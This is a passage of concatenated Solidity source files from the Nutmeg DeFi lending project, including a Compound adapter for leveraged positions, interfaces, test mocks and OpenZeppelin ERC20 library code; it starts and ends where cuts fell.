contract CompoundAdapter is Governable, IAdapter {
using SafeERC20 for IERC20;
using SafeMath for uint;
struct PosInfo {
uint posId;
uint collAmt;
uint sumIpcStart;
}
INutmeg public immutable nutmeg;
uint private constant MULTIPLIER = 10**18;
address[] public baseTokens; // array of base tokens
mapping(address => bool) public baseTokenMap; // e.g., Dai
mapping(address => address) public tokenPairs; // Dai -> cDai or cDai -> Dai;
mapping(address => uint) public totalMintAmt;
mapping(address => uint) public sumIpcMap;
mapping(uint => PosInfo) public posInfoMap;
mapping(address => uint) public totalLoan;
mapping(address => uint) public totalCollateral;
mapping(address => uint) public totalLoss;
constructor(INutmeg nutmegAddr) {
nutmeg = nutmegAddr;
__Governable__init();
}
modifier onlyNutmeg() {
require(msg.sender == address(nutmeg), 'only nutmeg can call');
_;
}
/// @dev Add baseToken collToken pairs
function addTokenPair(address baseToken, address collToken) external onlyGov {
baseTokenMap[baseToken] = true;
tokenPairs[baseToken] = collToken;
baseTokens.push(baseToken);
}
/// @dev Remove baseToken collToken pairs
function removeTokenPair(address baseToken) external onlyGov {
baseTokenMap[baseToken] = false;
tokenPairs[baseToken] = address(0);
}
/// @notice Open a position.
/// @param baseToken Base token of the position.
/// @param collToken Collateral token of the position.
/// @param baseAmt Amount of collateral in base token.
/// @param borrowAmt Amount of base token to be borrowed from nutmeg.
function openPosition(address baseToken, address collToken, uint baseAmt, uint borrowAmt)
external onlyNutmeg override {
require(baseAmt > 0, 'openPosition: invalid base amount');
require(baseTokenMap[baseToken], 'openPosition: invalid baseToken address');
require(tokenPairs[baseToken] == collToken, 'openPosition: invalid cToken address');
uint posId = nutmeg.getCurrPositionId();
INutmeg.Position memory pos = nutmeg.getPosition(posId);
require(nutmeg.getCurrSender() == pos.owner, 'openPosition: only owner can initialize this call');
require(IERC20(baseToken).balanceOf(pos.owner) >= baseAmt, 'openPosition: insufficient balance');
// check borrowAmt
uint maxBorrowAmt = nutmeg.getMaxBorrowAmount(baseToken, baseAmt);
require(borrowAmt <= maxBorrowAmt, "openPosition: borrowAmt exceeds maximum");
require(borrowAmt > baseAmt, "openPosition: borrowAmt is less than collateral");
// borrow base tokens from nutmeg
nutmeg.borrow(baseToken, collToken, baseAmt, borrowAmt);
_increaseDebtAndCollateral(baseToken, posId);
// mint collateral tokens from compound
pos = nutmeg.getPosition(posId);
(uint result, uint mintAmt) = _doMint(pos, borrowAmt);
require(result == 0, 'opnPos: _doMint fail');
if (mintAmt > 0) {
uint currSumIpc = _calcLatestSumIpc(collToken);
totalMintAmt[collToken] = totalMintAmt[collToken].add(mintAmt);
PosInfo storage posInfo = posInfoMap[posId];
posInfo.sumIpcStart = currSumIpc;
posInfo.collAmt = mintAmt;
// add mintAmt to the position in nutmeg.
nutmeg.addCollToken(posId, mintAmt);
}
emit openPositionEvent(posId, nutmeg.getCurrSender(), baseAmt, borrowAmt);
}
/// @notice Close a position by the borrower
function closePosition() external onlyNutmeg override returns (uint) {
uint posId = nutmeg.getCurrPositionId();
INutmeg.Position memory pos = nutmeg.getPosition(posId);
require(pos.owner == nutmeg.getCurrSender(), 'closePosition: original caller is not the owner');
uint collAmt = _getCollTokenAmount(pos);
(uint result, uint redeemAmt) = _doRedeem(pos, collAmt);
require(result == 0, 'clsPos: rdm fail');
// allow nutmeg to receive redeemAmt from the adapter
IERC20(pos.baseToken).safeApprove(address(nutmeg), 0);
IERC20(pos.baseToken).safeApprove(address(nutmeg), redeemAmt);
// repay to nutmeg
_decreaseDebtAndCollateral(pos.baseToken, pos.id, redeemAmt);
nutmeg.repay(pos.baseToken, redeemAmt);
pos = nutmeg.getPosition(posId);
totalLoss[pos.baseToken] =
totalLoss[pos.baseToken].add(pos.repayDeficit);
totalMintAmt[pos.collToken] = totalMintAmt[pos.collToken].sub(pos.collAmt);
emit closePositionEvent(posId, nutmeg.getCurrSender(), redeemAmt);
return redeemAmt;
}
/// @notice Liquidate a position
function liquidate() external override onlyNutmeg {
uint posId = nutmeg.getCurrPositionId();
INutmeg.Position memory pos = nutmeg.getPosition(posId);
require(_okToLiquidate(pos), 'liquidate: position is not ready for liquidation yet.');
uint amount = _getCollTokenAmount(pos);
(uint result, uint redeemAmt) = _doRedeem(pos, amount);
require(result == 0, 'lqdte: rdm fail');
IERC20(pos.baseToken).safeApprove(address(nutmeg), 0);
IERC20(pos.baseToken).safeApprove(address(nutmeg), redeemAmt);
// liquidate the position in nutmeg.
_decreaseDebtAndCollateral(pos.baseToken, posId, redeemAmt);
nutmeg.liquidate(pos.baseToken, redeemAmt);
pos = nutmeg.getPosition(posId);
totalLoss[pos.baseToken] = totalLoss[pos.baseToken].add(pos.repayDeficit);
totalMintAmt[pos.collToken] = totalMintAmt[pos.collToken].sub(pos.collAmt);
emit liquidateEvent(posId, nutmeg.getCurrSender());
}
/// @notice Get value of credit tokens
function creditTokenValue(address baseToken) public returns (uint) {
address collToken = tokenPairs[baseToken];
require(collToken != address(0), "settleCreditEvent: invalid collateral token" );
uint collTokenBal = ICERC20(collToken).balanceOf(address(this));
return collTokenBal.mul(ICERC20(collToken).exchangeRateCurrent());
}
/// @notice Settle credit event
/// @param baseToken The base token address
function settleCreditEvent( address baseToken, uint collateralLoss, uint poolLoss) external override onlyNutmeg {
require(baseTokenMap[baseToken] , "settleCreditEvent: invalid base token" );
require(collateralLoss <= totalCollateral[baseToken], "settleCreditEvent: invalid collateral" );
require(poolLoss <= totalLoan[baseToken], "settleCreditEvent: invalid poolLoss" );
nutmeg.distributeCreditLosses(baseToken, collateralLoss, poolLoss);
emit creditEvent(baseToken, collateralLoss, poolLoss);
totalLoss[baseToken] = 0;
totalLoan[baseToken] = totalLoan[baseToken].sub(poolLoss);
totalCollateral[baseToken] = totalCollateral[baseToken].sub(collateralLoss);
}
function _increaseDebtAndCollateral(address token, uint posId) internal {
INutmeg.Position memory pos = nutmeg.getPosition(posId);
for (uint i = 0; i < 3; i++) {
totalLoan[token] = totalLoan[token].add(pos.loans[i]);
}
totalCollateral[token] = totalCollateral[token].add(pos.baseAmt);
}
/// @dev decreaseDebtAndCollateral
function _decreaseDebtAndCollateral(address token, uint posId, uint redeemAmt) internal {
INutmeg.Position memory pos = nutmeg.getPosition(posId);
uint totalLoans = pos.loans[0] + pos.loans[1] + pos.loans[2];
if (redeemAmt >= totalLoans) {
totalLoan[token] = totalLoan[token].sub(totalLoans);
} else {
totalLoan[token] = totalLoan[token].sub(redeemAmt);
}
totalCollateral[token] = totalCollateral[token].sub(pos.baseAmt);
}
/// @dev Do the mint from the 3rd party pool.this
function _doMint(INutmeg.Position memory pos, uint amount) internal returns(uint, uint) {
uint balBefore = ICERC20(pos.collToken).balanceOf(address(this));
require(IERC20(pos.baseToken).approve(pos.collToken, 0), '_doMint approve error');
require(IERC20(pos.baseToken).approve(pos.collToken, amount), '_doMint approve amount error');
uint result = ICERC20(pos.collToken).mint(amount);
require(result == 0, '_doMint mint error');
uint balAfter = ICERC20(pos.collToken).balanceOf(address(this));
uint mintAmount = balAfter.sub(balBefore);
return (result, mintAmount);
}
/// @dev Do the redeem from the 3rd party pool.
function _doRedeem(INutmeg.Position memory pos, uint amount) internal returns(uint, uint) {
uint balBefore = IERC20(pos.baseToken).balanceOf(address(this));
uint result = ICERC20(pos.collToken).redeem(amount);
uint balAfter = IERC20(pos.baseToken).balanceOf(address(this));
uint redeemAmt = balAfter.sub(balBefore);
return (result, redeemAmt);
}
/// @dev Get the amount of collToken a position.
function _getCollTokenAmount(INutmeg.Position memory pos) internal returns(uint) {
uint currSumIpc = _calcLatestSumIpc(pos.collToken);
PosInfo storage posInfo = posInfoMap[pos.id];
uint interest = posInfo.collAmt.mul(currSumIpc.sub(posInfo.sumIpcStart)).div(MULTIPLIER);
return posInfo.collAmt.add(interest);
}
/// @dev Calculate the latest sumIpc.
/// @param collToken The cToken.
function _calcLatestSumIpc(address collToken) internal returns(uint) {
uint balance = ICERC20(collToken).balanceOf(address(this));
uint mintBalance = totalMintAmt[collToken];
uint interest = mintBalance > balance ? mintBalance.sub(balance) : 0;
uint currIpc = (mintBalance == 0) ? 0 : (interest.mul(MULTIPLIER)).div(mintBalance);
if (currIpc > 0){
sumIpcMap[collToken] = sumIpcMap[collToken].add(currIpc);
}
return sumIpcMap[collToken];
}
/// @dev Check if the position is eligible to be liquidated.
function _okToLiquidate(INutmeg.Position memory pos) internal view returns(bool) {
bool ok = false;
uint interest = nutmeg.getPositionInterest(pos.baseToken, pos.id);
if (interest.mul(2) >= pos.baseAmt) {
ok = true;
}
return ok;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
interface ICERC20 {
function mint(uint) external returns (uint);
function redeem(uint) external returns (uint);
function transfer(address dst, uint amount) external returns (bool);
function balanceOf(address) external view returns (uint);
function redeemUnderlying(uint) external returns (uint);
function exchangeRateCurrent() external returns (uint);
function supplyRatePerBlock() external returns (uint);
function approve(address spender, uint amount) external returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
interface IWETH {
function balanceOf(address user) external returns (uint);
function approve(address to, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function deposit() external payable;
function withdraw(uint) external;
}
// SPDX-License-Identifier: MIT
// Modified from original alphahomora which used 0.6.12
pragma solidity 0.7.6;
interface ICErc20 {
function decimals() external returns (uint8);
function underlying() external returns (address);
function mint(uint mintAmount) external returns (uint);
function redeem(uint redeemTokens) external returns (uint);
function balanceOf(address user) external view returns (uint);
function borrowBalanceCurrent(address account) external returns (uint);
function borrowBalanceStored(address account) external view returns (uint);
function borrow(uint borrowAmount) external returns (uint);
function repayBorrow(uint repayAmount) external returns (uint);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
pragma experimental ABIEncoderV2;
import "../Nutmeg.sol";
// @notice This contract is a version of Nutmeg that contains additional
// interfaces for testing
contract NutmegAltA is Nutmeg {
//@notice output version string
function getVersionString()
external virtual pure returns (string memory) {
return "nutmegalta";
}
}
contract NutmegAltB is Nutmeg {
//@notice output version string
function getVersionString()
external virtual pure returns (string memory) {
return "nutmegaltb";
}
}
import "../NutDistributor.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
// @notice This contract is a version of NutDistributor that allows
// the epoch intervals to be changed for testing
contract NutDistributorAltA is NutDistributor {
//@notice output version string
function getVersionString()
external virtual pure override returns (string memory) {
return "nutdistributoralta";
}
}
contract NutDistributorAltB is NutDistributor {
//@notice output version string
function getVersionString()
external virtual pure override returns (string memory) {
return "nutdistributoraltb";
}
}
import "./MockERC20.sol";
contract MockERC20AltA is
MockERC20("MockERC20AltA", "MOCKERC20ALTA", 18) {
}
contract MockERC20AltB is
MockERC20("MockERC20AltB", "MOCKERC20ALTB", 18) {
}
contract MockERC20AltC is
MockERC20("MockERC20AltC", "MOCKERC20ALTC", 6) {
}
import "./MockCERC20.sol";
contract MockCERC20AltA is MockCERC20Base {
constructor(address tokenAddr)
MockCERC20Base(tokenAddr, "MockCERC20 AltA", "MOCKCERC20ALTA", 18) {
}
}
contract MockCERC20AltB is MockCERC20Base {
constructor(address tokenAddr)
MockCERC20Base(tokenAddr, "MockCERC20 AltB", "MOCKCERC20ALTB", 18) {
}
}
contract MockCERC20AltC is MockCERC20Base {
constructor(address tokenAddr)
MockCERC20Base(tokenAddr, "MockCERC20 AltC", "MOCKCERC20ALTC", 6) {
}
}
import "../adapters/CompoundAdapter.sol";
import "../interfaces/INutmeg.sol";
contract CompoundAdapterAltA is CompoundAdapter {
constructor(INutmeg nutmegAddr) CompoundAdapter(nutmegAddr) {
}
}
contract CompoundAdapterAltB is CompoundAdapter {
constructor(INutmeg nutmegAddr) CompoundAdapter(nutmegAddr) {
}
}
// SPDX-License-Identifier: MIT
// Mock ERC20 token for testing
pragma solidity 0.7.6;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockERC20 is ERC20 {
constructor(
string memory name,
string memory symbol,
uint8 decimals
) ERC20(name, symbol) {
_setupDecimals(decimals);
}
function mint(address to, uint amount) external {
_mint(to, amount);
}
}
// SPDX-License-Identifier: MIT
// Mock ERC20 token for testing
pragma solidity 0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../interfaces/ICERC20.sol";
contract MockCERC20Base is ICERC20, ERC20 {
address public immutable token;
using SafeERC20 for IERC20;
using SafeMath for uint;
uint private constant MULTIPLIER = 10**18;
uint public exchangeRate;
bool public returnError;
constructor(
address tokenAddr,
string memory name_, string memory symbol_, uint8 decimals_)
ERC20(name_, symbol_) {
token = tokenAddr;
exchangeRate = MULTIPLIER;
returnError = false;
_setupDecimals(decimals_);
}
function mint(uint amount) external override returns (uint) {
if (returnError) return 1;
IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
_mint(msg.sender, amount.mul(MULTIPLIER).div(exchangeRate));
return 0;
}
function redeem(uint amount) external override returns (uint) {
if (returnError) return 1;
IERC20(token).safeTransfer(
msg.sender, amount.mul(exchangeRate).div(MULTIPLIER)
);
_burn(msg.sender, amount);
return 0;
}
function redeemUnderlying(uint amount) external override returns (uint) {
if (returnError) return 1;
IERC20(token).safeTransfer(msg.sender, amount);
_burn(
msg.sender, amount.mul(MULTIPLIER).div(exchangeRate)
);
return 0;
}
function exchangeRateCurrent() external view override returns (uint) {
return exchangeRate;
}
function supplyRatePerBlock() external pure override returns (uint) {
return 0;
}
function balanceOf(address account) public override(ERC20, ICERC20) view returns (uint) {
return ERC20.balanceOf(account);
}
function approve(address account, uint amount) public override(ERC20, ICERC20) returns (bool) {
return ERC20.approve(account, amount);
}
function transfer(address dst, uint amount) public override(ERC20, ICERC20) returns (bool) {
return ERC20.transfer(dst, amount);
}
function setExchangeRate(uint e) external {
exchangeRate = e;
}
function setError(bool b) external {
returnError = b;
}
}
contract MockCERC20 is MockCERC20Base {
constructor(address tokenAddr) MockCERC20Base(
tokenAddr, "MockCERC20", "MCERC20", 18
) {
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import './IERC20Mock.sol';
// Export ICEther interface for mainnet-fork testing.
interface ICEtherMock is IERC20Mock {
function mint() external payable;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
// Export IERC20 interface for mainnet-fork testing.
interface IERC20Mock is IERC20 {
function name() external view returns (string memory);
function owner() external view returns (address);
function issue(uint) external;
function issue(address, uint) external;
function mint(address, uint) external;
function mint(
address,
uint,
uint
) external returns (bool);
function configureMinter(address, uint) external returns (bool);
function masterMinter() external view returns (address);
function deposit() external payable;
function deposit(uint) external;
function decimals() external view returns (uint);
function target() external view returns (address);
function erc20Impl() external view returns (address);
function custodian() external view returns (address);
function requestPrint(address, uint) external returns (bytes32);
function confirmPrint(bytes32) external;
function invest(uint) external;
function increaseSupply(uint) external;
function supplyController() external view returns (address);
function getModules() external view returns (address[] memory);
function addMinter(address) external;
function governance() external view returns (address);
function core() external view returns (address);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function symbol() external view returns (string memory);
function getFinalTokens() external view returns (address[] memory);
function joinPool(uint, uint[] memory) external;
function getBalance(address) external view returns (uint);
function createTokens(uint) external returns (bool);
function resolverAddressesRequired() external view returns (bytes32[] memory addresses);
function exchangeRateStored() external view returns (uint);
function accrueInterest() external returns (uint);
function resolver() external view returns (address);
function repository(bytes32) external view returns (address);
function underlying() external view returns (address);
function mint(uint) external returns (uint);
function redeem(uint) external returns (uint);
function redeemUnderlying(uint) external returns (uint);
function minter() external view returns (address);
function borrow(uint) external returns (uint);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
interface IUNISWAP {
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
payable
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
returns (uint[] memory amounts);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import '../lib/Math.sol';
contract Formula {
using SafeMath for uint;
constructor (){}
function div(uint a, uint b) external pure returns(uint){
return a.div(b);
}
function mul(uint a, uint b) external pure returns(uint){
return a.mul(b);
}
function add(uint a, uint b) external pure returns(uint){
return a.add(b);
}
function sub(uint a, uint b) external pure returns(uint){
return a.sub(b);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
pragma experimental ABIEncoderV2;
import '@openzeppelin/contracts/proxy/Initializable.sol';
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import '../adapters/CompoundAdapter.sol';
import '../interfaces/IAdapter.sol';
import '../interfaces/INutmeg.sol';
contract MockAdapter is CompoundAdapter {
using SafeERC20 for IERC20;
using SafeMath for uint;
event Received(address, uint);
address public immutable weth;
constructor(INutmeg nutmegAddr, address wethAddr) CompoundAdapter(nutmegAddr) {
weth = wethAddr;
}
function test() external pure {
}
function testFail() external pure {
require(false, "fail");
}
function testBorrow(uint amount) external {
INutmeg(nutmeg).borrow(weth, address(this), amount-10, amount);
}
function testCurrPositionId(uint pos) external view {
uint posret = INutmeg(nutmeg).getCurrPositionId();
require(pos == posret, 'testCurrentPosition failed');
}
function testPosition(uint pos) external view {
INutmeg.Position memory p = INutmeg(nutmeg).getPosition(pos);
require(p.id == pos, 'testPosition failed');
}
function testRepay(address token, uint repayAmount) external {
INutmeg(nutmeg).repay(token, repayAmount);
}
receive() external payable {
emit Received(msg.sender, msg.value);
}
}
/* Local Variables: */
/* mode: javascript */
/* js-indent-level: 2 */
/* End: */
// SPDX-License-Identifier: MIT
// Mock WETH token for testing
pragma solidity 0.7.6;
contract MockWETH {
string public constant name = 'Wrapped Ether';
string public constant symbol = 'WETH';
uint8 public constant decimals = 18;
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
event Deposit(address indexed dst, uint wad);
event Withdrawal(address indexed src, uint wad);
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
receive() external payable {
deposit();
}
function deposit() public payable {
balanceOf[msg.sender] += msg.value;
emit Deposit(msg.sender, msg.value);
}
function withdraw(uint wad) external {
require(balanceOf[msg.sender] >= wad);
balanceOf[msg.sender] -= wad;
payable(msg.sender).transfer(wad);
emit Withdrawal(msg.sender, wad);
}
function totalSupply() external view returns (uint) {
return address(this).balance;
}
function approve(address guy, uint wad) external returns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
function transfer(address dst, uint wad) external returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(
address src,
address dst,
uint wad
) public returns (bool) {
require(balanceOf[src] >= wad);
if (src != msg.sender && allowance[src][msg.sender] != type(uint).max) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] -= wad;
balanceOf[dst] += wad;
emit Transfer(src, dst, wad);
return true;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
pragma experimental ABIEncoderV2;
import "../NutDistributor.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
// @notice This contract is a version of NutDistributor that allows
// the epoch intervals to be changed for testing
contract TestNutDistributor is NutDistributor {
using SafeMath for uint;
function initialize (
address nutAddr,
address _governor,
uint blocks_per_epoch
) external initializer {
initialize(nutAddr, _governor);
BLOCKS_PER_EPOCH = blocks_per_epoch;
// config echoMap which indicates how many tokens will be distributed at each epoch
for (uint i = 0; i < NUM_EPOCH; i++) {
Echo storage echo = echoMap[i];
echo.id = i;
echo.endBlock = DIST_START_BLOCK.add(BLOCKS_PER_EPOCH.mul(i.add(1)));
uint amount = DIST_START_AMOUNT.div(i.add(1));
if (amount < DIST_MIN_AMOUNT) {
amount = DIST_MIN_AMOUNT;
}
echo.amount = amount;
}
}
//@notice output version string
function getVersionString()
external virtual pure override returns (string memory) {
return "test.nutdistrib";
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
pragma experimental ABIEncoderV2;
import "../Nutmeg.sol";
// @notice This contract is a version of Nutmeg that contains additional
// interfaces for testing
contract TestNutmeg is Nutmeg {
function _testSetBaseAmt (
uint posId, uint baseAmt
) external {
positionMap[posId].baseAmt = baseAmt;
}
function _forceAccrueInterest(
address token
) external {
accrueInterest(token);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import '../lib/Governable.sol';
import "../interfaces/IPriceOracle.sol";
contract PriceOracle is IPriceOracle, Governable {
mapping(address => uint) public priceMap;
event setPriceEvent(address token, uint price);
constructor() {
__Governable__init();
}
/// @notice Return the value of the given token in ETH.
/// @param token The ERC20 token
function getPrice(address token) external view override returns (uint) {
uint price = priceMap[token];
require(price != 0, 'getPrice: price not found.');
return price;
}
/// @notice Set the prices of the given tokens.
/// @param tokens The tokens to set the prices.
/// @param prices The prices of tokens.
function setPrices(address[] memory tokens, uint[] memory prices) external onlyGov {
require(tokens.length == prices.length, 'setPrices: lengths do not match');
for (uint i = 0; i < tokens.length; i++) {
priceMap[tokens[i]] = prices[i];
emit setPriceEvent(tokens[i], prices[i]);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
